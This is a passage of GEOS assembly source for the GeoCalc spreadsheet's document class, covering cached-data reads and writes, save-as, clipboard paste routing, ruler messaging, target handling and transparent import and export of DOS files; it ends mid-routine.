GeoCalcDocumentReadCachedData
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Force reading of cached data from file
CALLED BY: MSG_GEN_DOCUMENT_READ_CACHED_DATA_FROM_FILE
PASS: *ds:si - instance data
ds:di - *ds:si
es - seg addr of GeoCalcDocumentClass
ax - the method
RETURN: none
DESTROYED: bx, si, di, ds, es (method handler)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 8/27/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GeoCalcDocumentReadCachedData method dynamic GeoCalcDocumentClass, \
MSG_GEN_DOCUMENT_READ_CACHED_DATA_FROM_FILE
mov ax, MSG_SPREADSHEET_READ_CACHED_DATA
mov di, mask MF_CALL or mask MF_FIXUP_DS
call GetSpreadsheetMap ;dx <- VM handle of map
call SendFileToDocSpreadsheet
;
; In the event this is a revert, we force a redraw of the rulers
; so things like column widths update correctly.
;
mov ax, MSG_VIS_RULER_INVALIDATE_WITH_SLAVES
call GetDocSpreadsheet
mov si, offset GCColumnRuler ;^lbx:si <- OD of master ruler
mov di, mask MF_FIXUP_DS or mask MF_CALL
GOTO ObjMessage
GeoCalcDocumentReadCachedData endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GeoCalcDocumentWriteCachedData
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Force writing of cached data to file
CALLED BY: MSG_GEN_DOCUMENT_WRITE_CACHED_DATA_TO_FILE
PASS: *ds:si - instance data
ds:di - *ds:si
es - seg addr of GeoCalcDocumentClass
ax - the method
RETURN: none
DESTROYED: bx, si, di, ds, es (method handler)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 8/27/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GeoCalcDocumentWriteCachedData method dynamic GeoCalcDocumentClass, \
MSG_GEN_DOCUMENT_WRITE_CACHED_DATA_TO_FILE
mov ax, MSG_SPREADSHEET_WRITE_CACHED_DATA
mov di, mask MF_CALL or mask MF_FIXUP_DS
call SendFileToDocSpreadsheet
ret
GeoCalcDocumentWriteCachedData endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GeoCalcDocumentSaveAsCompleted
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Handle end of "save as": file handle changes
CALLED BY: MSG_GEN_DOCUMENT_SAVE_AS_COMPLETED
PASS: *ds:si - instance data
ds:di - *ds:si
es - seg addr of GeoCalcDocumentClass
ax - the method
RETURN: none
DESTROYED: bx, si, di, ds, es (method handler)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 8/29/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GeoCalcDocumentSaveAsCompleted method dynamic GeoCalcDocumentClass, \
MSG_GEN_DOCUMENT_SAVE_AS_COMPLETED
mov ax, MSG_SPREADSHEET_ATTACH_FILE
mov di, mask MF_CALL or mask MF_FIXUP_DS
call GetSpreadsheetMap ;dx <- VM handle of map
call SendFileToDocSpreadsheet
;
; In the event any display formulas include =FILENAME(),
; force a redraw so they update correctly.
;
mov ax, MSG_SPREADSHEET_COMPLETE_REDRAW
call SendToDocSpreadsheet
ret
GeoCalcDocumentSaveAsCompleted endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GeoCalcDocumentUpdateCompatibleDocument
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Update a compatible document
CALLED BY: MSG_GEN_DOCUMENT_UPDATE_EARLIER_COMPATIBLE_DOCUMENT
PASS: *ds:si - instance data
ds:di - *ds:si
es - seg addr of GeoCalcDocumentClass
ax - the message
RETURN: carry - set for error
DESTROYED: bx, si, di, ds, es (method handler)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 1/25/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GeoCalcDocumentUpdateCompatibleDocument method dynamic GeoCalcDocumentClass,
MSG_GEN_DOCUMENT_UPDATE_EARLIER_COMPATIBLE_DOCUMENT
mov ax, -1 ;ax <- OK to up protocol
clc ;carry <- no error
ret
GeoCalcDocumentUpdateCompatibleDocument endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GeoCalcDocumentUpdateIncompatibleDocument
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Update an incompatible document
CALLED BY: MSG_GEN_DOCUMENT_UPDATE_EARLIER_INCOMPATIBLE_DOCUMENT
PASS: *ds:si - instance data
ds:di - *ds:si
es - seg addr of GeoCalcDocumentClass
ax - the message
RETURN: carry - set for error
ax - non-zero to update documents protocol
DESTROYED: bx, si, di, ds, es (method handler)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 1/25/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GeoCalcDocumentUpdateIncompatibleDocument method dynamic GeoCalcDocumentClass,
MSG_GEN_DOCUMENT_UPDATE_EARLIER_INCOMPATIBLE_DOCUMENT
clr ax ;ax <- do not up protocol
stc ;carry <- error
ret
GeoCalcDocumentUpdateIncompatibleDocument endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GeoCalcDocumentSendClassedEvent
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DESCRIPTION: Determine where to send this event
PASS: *ds:si = GeoCalcDocumentClass object
ds:di = GeoCalcDocumentClass instance data
es = Segment of GeoCalcDocumentClass.
RETURN: nothing
DESTROYED: ax,cx,dx,bp
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CDB 12/26/91 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GeoCalcDocumentSendClassedEvent method dynamic GeoCalcDocumentClass,
MSG_META_SEND_CLASSED_EVENT
;
; Get the class of the destination
;
push ax, cx, si
mov bx, cx
call ObjGetMessageInfo
movdw bxdi, cxsi ;bxdi <- class ptr
;
; check specially for PASTE
;
cmp ax, MSG_META_CLIPBOARD_PASTE
pop ax, cx, si
jne checkCharts
push cx ;preserve event handle
call DocumentDoPaste ;branch if paste
pop bx ;restore event handle
;
; Free the event handle (bx).
;
call ObjFreeMessage
ret
checkCharts:
;
; See if this message should go to the GrObjHead
;
if _CHARTS
cmp bx, segment GrObjHeadClass
jne notHead
cmp di, offset GrObjHeadClass
jne notHead
GetResourceHandleNS GCGrObjHead, bx
mov si, offset GCGrObjHead
clr di
GOTO ObjMessage
endif
notHead::
;
; Destined for the VisRuler?
;
cmp bx, segment VisRulerClass
jne notRuler
cmp di, offset VisRulerClass
jne notRuler
;
; this message is destined for the VisRuler
;
mov si, ds:[si]
add si, ds:[si].GeoCalcDocument_offset
mov bx, ds:[si].GCDI_spreadsheet ;bx <- handle of
;spreadsheet block
mov si, offset GCColumnRuler
clr di
GOTO ObjMessage
notRuler:
; check for the attribute manager
if _CHARTS
cmp bx, segment GrObjAttributeManagerClass
jne notAttrMgr
cmp di, offset GrObjAttributeManagerClass
jne notAttrMgr
; this message is destined for the attribute manager
mov ax, MSG_META_SEND_CLASSED_EVENT
clr di
call SendToOAM
ret
endif
notAttrMgr::
; check for grobj class. let the body handle 'em if so
;
if _CHARTS
cmp bx, segment GrObjClass
jne checkBody
cmp di, offset GrObjClass
je toBody
checkBody:
cmp bx, segment GrObjBodyClass
jne notBody
cmp di, offset GrObjBodyClass
jne notBody
; this message is destined for the body -- find it
toBody:
mov ax, MSG_META_SEND_CLASSED_EVENT
clr di
call SendToGrObjBody
ret
endif
notBody::
;
; We don't know where this message is going -- just send it to
; our superclass.
;
mov di, offset GeoCalcDocumentClass
GOTO ObjCallSuperNoLock
GeoCalcDocumentSendClassedEvent endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DocumentDoPaste
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Handle a paste...
CALLED BY: MSG_META_CLIPBOARD_
PASS: *ds:si - instance data
ds:di - *ds:si
es - seg addr of GeoCalcDocumentClass
ax - the message
RETURN: none
DESTROYED: bx, si, di, ds, es (method handler)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 3/17/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DocumentDoPaste proc far
;
; See if transfer contains spreadsheet data
;
clr bp ;bp <- ClipboardItemFlags
call ClipboardQueryItem
tst bp ;any items available?
jz sendToSpreadsheet ;branch if none (why?)
;
; does CIF_SPREADSHEET format exist ?
;
mov cx, MANUFACTURER_ID_GEOWORKS
mov dx, CIF_SPREADSHEET ;cx:dx <- format to check
call ClipboardTestItemFormat
jc sendToEditBarOrGrObj ;branch if no spreadsheet data
;
; Spreadsheet data exists -- pass off to the spreadsheet
; unless the grobj is the target, in which case we guess...
;
call getTargetLayer ;grobj target?
jne sendToSpreadsheet ;branch if spreadsheet target
mov cx, MANUFACTURER_ID_GEOWORKS
mov dx, CIF_TEXT
call ClipboardTestItemFormat
jnc sendToGrObj ;branch if text data
sendToSpreadsheet:
call ClipboardDoneWithItem
call GetDocSpreadsheet ;^lbx:si <- OD of spreadsheet
mov cl, GCTL_SPREADSHEET
jmp sendToLayer
;
; There is no spreadsheet transfer available. See if we
; should send it to the grobj or the edit bar.
;
sendToEditBarOrGrObj:
call getTargetLayer
je sendToGrObj ;branch if grobj is target
;
; If text exists, send to the edit bar
;
mov cx, MANUFACTURER_ID_GEOWORKS
mov dx, CIF_TEXT ;cx:dx <- format to check
call ClipboardTestItemFormat
jnc sendToEditBar ;branch if text exists
;
; If grobj data exists, send it to the grobj
;
clr bp ;bp <- not CIF_QUICK
CHART< call GrObjTestSupportedTransferFormats >
CHART< jc sendToGrObj ;branch if grobj data >
;
; Wheee....grobj data doesn't exist. Spreadsheet data doesn't
; exist. Send it to the edit bar and pray.
;
sendToEditBar:
call ClipboardDoneWithItem
GetResourceHandleNS GCEditBarControl, bx
mov si, offset GCEditBarControl ;^lbx:si <- OD of edit bar
jmp sendPaste
;
; Send the marines to the grobj and switch the target
;
sendToGrObj:
call ClipboardDoneWithItem
CHART< call GetGrObjBodyOD ;^lbx:si <- OD of grobj layer >
CHART< mov cl, GCTL_GROBJ >
;
; Send to one layer or the other and make sure the target
; is appropriate...
;
sendToLayer:
call SetTargetLayerOpt
sendPaste:
mov ax, MSG_META_CLIPBOARD_PASTE
mov di, mask MF_CALL
GOTO ObjMessage
getTargetLayer:
push ax
mov ax, MSG_GEOCALC_APPLICATION_GET_TARGET_LAYER
call UserCallApplication
pop ax
cmp cl, GCTL_GROBJ ;grobj target?
retn
DocumentDoPaste endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MessageToRuler
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Send a message to the ruler
CALLED BY: GeoCalcDocumentSendClassedEvent()
PASS: *ds:si - document object
ax, cx, dx, bp - message data
RETURN: none
DESTROYED: ax
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 8/17/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MessageToRuler proc near
class GeoCalcDocumentClass
uses bx, si, di, es
.enter
mov si, ds:[si]
add si, ds:[si].GeoCalcDocument_offset
mov bx, ds:[si].GCDI_spreadsheet
mov si, offset GCColumnRuler
mov di, mask MF_FIXUP_DS
call ObjMessage
.leave
ret
MessageToRuler endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GeoCalcDocumentGainedTargetExcl
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Handle GeoCalc document gaining target
CALLED BY: MSG_META_GAINED_TARGET_EXCL
PASS: *ds:si - instance data
ds:di - *ds:si
es - seg addr of GeoCalcDocumentClass
ax - the message
RETURN:
DESTROYED: bx, si, di, ds, es (method handler)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 8/17/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GeoCalcDocumentGainedTargetExcl method dynamic GeoCalcDocumentClass,
MSG_META_GAINED_TARGET_EXCL
mov di, offset GeoCalcDocumentClass
call ObjCallSuperNoLock
mov ax, MSG_VIS_RULER_GAINED_SELECTION
mov cx, ds:[LMBH_handle]
mov dx, si
mov bp, MSG_VIS_INVALIDATE
call MessageToRuler
call UpdateDocumentState
;
; Make sure the right layer has the target.
;
mov ax, MSG_GEOCALC_APPLICATION_GET_TARGET_LAYER
call UserCallApplication
cmp cl, GCTL_SPREADSHEET ;spreadsheet target?
je doSpreadsheet ;branch if so
CHART< call GetGrObjBodyOD >
setTarget:
stc ;carry <- no optimization
call SetTargetLayer
ret
doSpreadsheet:
call GetDocSpreadsheet
jmp setTarget
GeoCalcDocumentGainedTargetExcl endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GeoCalcDocumentLostTargetExcl
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Handle GeoCalc document losing target
CALLED BY: MSG_META_LOST_TARGET_EXCL
PASS: *ds:si - instance data
ds:di - *ds:si
es - seg addr of GeoCalcDocumentClass
ax - the message
RETURN:
DESTROYED: bx, si, di, ds, es (method handler)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 8/17/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GeoCalcDocumentLostTargetExcl method dynamic GeoCalcDocumentClass,
MSG_META_LOST_TARGET_EXCL
mov ax, MSG_VIS_RULER_LOST_SELECTION
call MessageToRuler
mov ax, MSG_META_LOST_TARGET_EXCL
mov di, offset GeoCalcDocumentClass
GOTO ObjCallSuperNoLock
GeoCalcDocumentLostTargetExcl endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GeoCalcDocumentVupCreateGState
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Handle creating a GState and initialize it to our liking
CALLED BY: MSG_VIS_VUP_CREATE_GSTATE
PASS: *ds:si - instance data
ds:di - *ds:si
es - seg addr of GeoCalcDocumentClass
ax - the message
RETURN: bp - handle of GState
carry - set for success
DESTROYED: bx, si, di, ds, es (method handler)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 7/27/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GeoCalcDocumentVupCreateGState method dynamic GeoCalcDocumentClass,
MSG_VIS_VUP_CREATE_GSTATE
;
; Call our superclass to create the GState
;
mov di, offset GeoCalcDocumentClass
call ObjCallSuperNoLock
;
; Initialize the GState to our liking
;
mov di, bp ;di <- GState handle
mov al, ColorMapMode <0, CMT_DITHER>
call GrSetTextColorMap
stc ;carry <- success
ret
GeoCalcDocumentVupCreateGState endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GeoCalcDocumentSaveAs
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Force the document to be dirty so our last-revision
timestamp gets updated.
CALLED BY: MSG_GEN_DOCUMENT_SAVE_AS, MSG_GEN_DOCUMENT_SAVE_AS_TEMPLATE
PASS: *ds:si = GeoCalcDocument object
ds:di = GeoCalcDocumentInstance
RETURN: what those messages return
DESTROYED: what those messages destroy
SIDE EFFECTS: the document is marked dirty
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 11/15/93 Initial version
Don 2/21/99 Ported over from GeoWrite
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GeoCalcDocumentSaveAs method dynamic GeoCalcDocumentClass,
MSG_GEN_DOCUMENT_SAVE_AS,
MSG_GEN_DOCUMENT_SAVE_AS_TEMPLATE
if _SUPER_IMPEX
cmp ax, MSG_GEN_DOCUMENT_SAVE_AS_TEMPLATE
je callSuper
;
; See what kind of document they want to save it as.
;
call GetSelectedFileType ; cx = file type
cmp cx, GCDFT_CALC
je callSuper
;
; If not a native file, do the export
;
call ExportDocTransparently
; clears GDA_CLOSING
mov ax, MSG_GEN_DOCUMENT_GROUP_SAVE_AS_CANCELLED
call GenCallParent
ret
callSuper:
endif
mov di, offset GeoCalcDocumentClass
GOTO ObjCallSuperNoLock
GeoCalcDocumentSaveAs endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GeoCalcDocumentPhysicalOpen
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Invokes Impex converter for non-GeoGeoCalc files.
CALLED BY: MSG_GEN_DOCUMENT_PHYSICAL_OPEN
PASS: *ds:si = GeoCalcDocumentClass object
ds:di = GeoCalcDocumentClass instance data
ds:bx = GeoCalcDocumentClass object (same as *ds:si)
es = segment of GeoCalcDocumentClass
ss:bp = DocumentCommonParams
RETURN: carry set on error, else clear
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS: none
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 10/30/98 Initial version
Don 2/21/99 Ported over from GeoWrite
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if _SUPER_IMPEX
GeoCalcDocumentOpen method dynamic GeoCalcDocumentClass,
MSG_GEN_DOCUMENT_OPEN
;
; See if it's one of our known DOS file types. If not,
; just let the superclass do its job.
;
call CheckIfNativeFile
jc dosFile
;
; OK, complete the opening of the file
;
mov ax, MSG_GEN_DOCUMENT_OPEN
mov di, offset GeoCalcDocumentClass
GOTO ObjCallSuperNoLock
;
; For DOS files, we flag the document type in instance data.
; We also remember the file name so when we save, we export
; the file back to the original name.
;
dosFile:
mov di, ds:[si]
add di, ds:[di].Gen_offset
lea di, ds:[di].GCDI_dosFileName
segmov es, ds, ax ; es:di = buffer
push ds, si
mov cx, ss
lea dx, ss:[bp].DCP_name
movdw dssi, cxdx ; ds:si = filename
mov cx, size FileLongName
rep movsb ; copy me Jesus
pop ds, si
;
; Set up the Impex control to do the work (behind the scenes).
; Also tell the DocumentControl to just hang around for a bit
; and wait for either an import to be completed or else an
; error to be displayed.
;
push bp, si
mov ax, MSG_GEOCALC_DOC_CTRL_IMPORT_IN_PROGRESS
GetResourceHandleNS GCDocumentControl, bx
mov si, offset GCDocumentControl
mov di, mask MF_FORCE_QUEUE
call ObjMessage
pop bp, si
call ImportDocTransparently
stc ; return error so we don't
; open *another* document
ret
GeoCalcDocumentOpen endm
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CheckIfNativeFile
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Checks to see if this is a native Writer file
CALLED BY: GeoCalcDocumentOpen()
PASS: ss:bp = DocumentCommonParams
RETURN: carry = clear if it is a native GeoCalc file
- or -
carry = set if it is not (i.e. a DOS file)
DESTROYED: nothing
SIDE EFFECTS: none
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 10/29/98 Initial version
Don 2/21/99 Re-wrote
Don 2/21/99 Ported over from GeoWrite
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if _SUPER_IMPEX
CheckIfNativeFile proc near
uses ax, bx, cx, dx, bp, si, di, es, ds
.enter
;
; Construct the complete path (sigh)
;
segmov ds, ss, ax
mov es, ax
mov cx, PATH_BUFFER_SIZE + (size GeosFileType)
sub sp, cx
mov dx, sp
mov di, sp ; buffer => ES:DI
mov bx, ss:[bp].DCP_diskHandle
lea si, ss:[bp].DCP_path
push dx
mov dx, 1
call FileConstructFullPath
pop dx
cmc ; invert carry
jnc done ; if error, assume native file
;
; Append the filename onto the path. Ensure that a BACKSLASH
; separates the path from the filename.
;
mov ax, C_BACKSLASH
SBCS < cmp {byte} es:[di-1], al >
DBCS < cmp {word} es:[di-2], ax >
je copyString
LocalPutChar esdi, ax
copyString:
lea si, ss:[bp].DCP_name
LocalCopyString
;
; OK...now see if this is a GEOS file or not. If we get
; ERROR_ATTR_NOT_FOUND, then we don't have a GEOS file.
;
mov ax, FEA_FILE_TYPE
mov di, dx
add di, PATH_BUFFER_SIZE
mov cx, size GeosFileType
call FileGetPathExtAttributes
jnc checkType
cmp ax, ERROR_ATTR_NOT_FOUND
je dosFile
clc ; some other error...assume
jmp done ; native file and we're done
checkType:
cmp {word} es:[di], GFT_NOT_GEOS_FILE
clc ; assume native file
jne done
dosFile:
stc ; DOS file!!!
done:
lahf
add sp, PATH_BUFFER_SIZE + (size GeosFileType)
sahf
.leave
ret
CheckIfNativeFile endp
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ImportDocTransparently
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Invokes ImportControl to import the document.
CALLED BY: GeoCalcDocumentOpen
PASS: *ds:si = GeoCalcDocument object
ss:bp = DocumentCommonParams
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 11/06/98 Initial version
Don 2/21/99 Ported over from GeoWrite
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if _SUPER_IMPEX
ImportDocTransparently proc near
class GeoCalcDocumentClass
uses ax,bx,cx,dx,si,di,bp
.enter
;
; Bring up the dialog (because otherwise it's Unhappy) in the
; background.
;
push bp
mov ax, MSG_GEN_INTERACTION_INITIATE_NO_DISTURB
GetResourceHandleNS GCImportControl, bx
mov si, offset GCImportControl
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
mov ax, MSG_IMPORT_CONTROL_GET_FILE_SELECTOR
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage ; ^lcx:dx = file selector
Assert optr, cxdx
movdw bxsi, cxdx ; ^lbx:si = file selector
pop bp ; DocumentCommonParams => SS:BP
;
; Set the path and then the file.
;
push bp
mov ax, MSG_GEN_PATH_SET
mov cx, ss
lea dx, ss:[bp].DCP_path
mov bp, ss:[bp].DCP_diskHandle
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
pop bp
mov cx, ss
lea dx, ss:[bp].DCP_name
mov ax, MSG_GEN_FILE_SELECTOR_SET_SELECTION
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
;
; Tell it to do the import now (assuming auto-detect will do
; the right thing)
;
mov ax, MSG_GEN_GUP_INTERACTION_COMMAND
GetResourceHandleNS GCImportControl, bx
mov si, offset GCImportControl
mov cx, IC_DISMISS
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
mov ax, MSG_IMPORT_CONTROL_IMPORT
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
.leave
ret
ImportDocTransparently endp
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetSelectedFileType
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Retrieves the selection from the "save-as" file selector.
CALLED BY: GeoCalcDocumentSave
PASS: nothing
RETURN: cx = GeoCalcDocumentFileType
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 11/12/98 Initial version
Don 2/21/99 Ported over from GeoWrite
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if _SUPER_IMPEX
GetSelectedFileType proc near
uses ax,bx,dx,si,di,bp
.enter
GetResourceHandleNS GCDocumentControl, bx
mov si, offset GCDocumentControl
mov ax, MSG_GEOCALC_DOC_CTRL_GET_SELECTED_FILE_TYPE
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
.leave
ret
GetSelectedFileType endp
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ExportDocTransparently
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Invokes the ExportCtrl to export the document.
CALLED BY: GeoCalcDocumentSaveAs
PASS: cx = GeoCalcDocumentFileType
ss:bp = DocumentCommonParams
RETURN: nothing
DESTROYED: none
SIDE EFFECTS: exports the document
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 11/12/98 Initial version
Don 2/21/99 Ported over from GeoWrite
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if _SUPER_IMPEX
include timer.def
ExportDocTransparently proc near
class GeoCalcDocumentClass
uses ax,bx,cx,dx,si,di,bp
.enter inherit GeoCalcDocumentSaveAs
;
; Bring up the dialog (because otherwise it's Unhappy) in the
